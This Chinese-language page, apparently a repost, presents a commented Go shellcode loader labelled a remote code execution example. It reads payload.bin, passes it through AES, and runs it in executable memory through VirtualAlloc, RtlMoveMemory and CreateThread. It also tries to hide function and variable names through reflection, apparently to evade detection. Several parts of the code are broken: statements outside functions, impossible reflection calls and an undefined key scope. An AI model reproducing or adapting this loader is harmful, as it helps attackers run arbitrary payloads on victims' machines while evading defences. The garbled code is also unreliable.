Go语言远程代码执行示例:详细注释与代码分析
import (
"crypto/aes" // 密码学库,用于对数据进行加密和解密
"crypto/cipher" // 密码学库,使用不同的算法和模式来对数据进行加密和解密
"encoding/base64" // 编解码库,用于对二进制数据进行base64编解码
"io/ioutil" // 输入输出库,用于读取文件内容
"reflect" // 反射库,用于在运行时动态获取和修改变量和函数信息
"strconv" // 字符串转换库,用于将其他类型的数据转换为字符串类型
"syscall" // 系统调用库,用于调用底层操作系统的API
"time" // 时间库,用于等待一定时间
"unsafe" // 不安全指针库,用于直接操作内存,不安全
)
const (
MEM_COMMIT = 0x1000 // 内存分配时,将页面状态设置为可读写(PAGE_READWRITE)时使用
MEM_RESERVE = 0x2000 // 在有足够空间的情况下,为指定的地址分配内存时使用
PAGE_EXECUTE_READWRITE = 0x40 // 内存分配时,将页面状态设置为可执行的和可读写的(PAGE_EXECUTE_READWRITE)时使用
)
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll") // 调用Windows API库kernel32.dll
ntdll = syscall.NewLazyDLL("ntdll.dll") // 调用Windows API库ntdll.dll
VirtualAlloc = kernel32.NewProc("VirtualAlloc") // 调用VirtualAlloc函数,用于分配内存
RtlMoveMemory = ntdll.NewProc("RtlMoveMemory") // 调用RtlMoveMemory函数,用于将内存块从一个地址复制到另一个地址
CreateThread = kernel32.NewProc("CreateThread") // 调用CreateThread函数,用于创建一个新的线程
)
varNames := [][]string{
{"AesKey", "key", "src", "block", "iv", "stream", "dst"}, // 定义变量名列表,用于在后面给变量赋值
{"cipher", "key", "src"},
{"src", "payloadBytes", "encodedBytes", "bdata"},
{"src", "decodedBytes", "payloadBytes"},
{"charcode", "addr", "handle"},
{"filename", "data"},
{"payload", "encodedPayload", "shellCodeHex"},
}
func AesCipher(key []byte, src []byte) []byte {
block, _ := aes.NewCipher(key) // 创建AES加密块
iv := make([]byte, aes.BlockSize) // 创建初始化向量
stream := cipher.NewCTR(block, iv) // 创建CTR流密码
dst := make([]byte, len(src)) // 创建目标切片
stream.XORKeyStream(dst, src) // 加密源切片到目标切片
return dst
}
type CipherFunc func(key []byte, src []byte) []byte // 定义一个加密函数类型
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
return cipher(key, src) // 对源切片进行加密并返回目标切片
}
func Encode(src string) string {
payloadBytes := []byte(src) // 将字符串转换为字节数组
encodedBytes := Crypt(AesCipher, AesKey, payloadBytes) // 使用AES加密字节数组
bdata := base64.StdEncoding.EncodeToString(encodedBytes) // 将加密后的字节数组进行base64编码
return bdata // 返回base64编码后的字符串
}
func Decode(src string) []byte {
decodedBytes, _ := base64.StdEncoding.DecodeString(src) // 对base64编码的字符串进行解码
payloadBytes := Crypt(AesCipher, AesKey, decodedBytes) // 使用AES解密字节数组
return payloadBytes // 返回解密后的字节数组
}
func exec(charcode []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为要执行的代码分配内存
time.Sleep(5) // 等待5毫秒
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode))) // 将要执行的代码复制到分配的内存中
time.Sleep(5) // 等待5毫秒
handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0) // 创建一个新的线程来执行代码
time.Sleep(5) // 等待5毫秒
syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE) // 等待线程执行完毕
}
func readFile(filename string) []byte {
data, _ := ioutil.ReadFile(filename) // 读取文件内容
return data // 返回文件内容
}
func main() {
funcNames := []string{"AesCipher", "Crypt", "Encode", "Decode", "exec", "readFile", "main"} // 定义函数名列表,用于在后面修改函数名
for i, name := range funcNames {
newName := "func" + strconv.Itoa(i) // 生成新的函数名
reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName)) // 使用反射库修改函数名
}
AesKey := []byte{ // 定义AES加密的密钥
0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}
for _, vars := range varNames {
for i, name := range vars {
newName := "var" + strconv.Itoa(i)
reflect.ValueOf(main).Elem().FieldByName(name).Set(reflect.ValueOf(newName)) // 使用反射库修改变量名
}
}
payload := string(readFile("./payload.bin")) // 读取payload.bin文件中的内容并转换为字符串
encodedPayload := Encode(payload) // 加密payload
shellCodeHex := Decode(encodedPayload) // 解密payload
exec(shellCodeHex) // 执行解密后的shellCodeHex
}
原文地址: https://www.cveoy.top/t/topic/lKHr 著作权归作者所有。请勿转载和采集!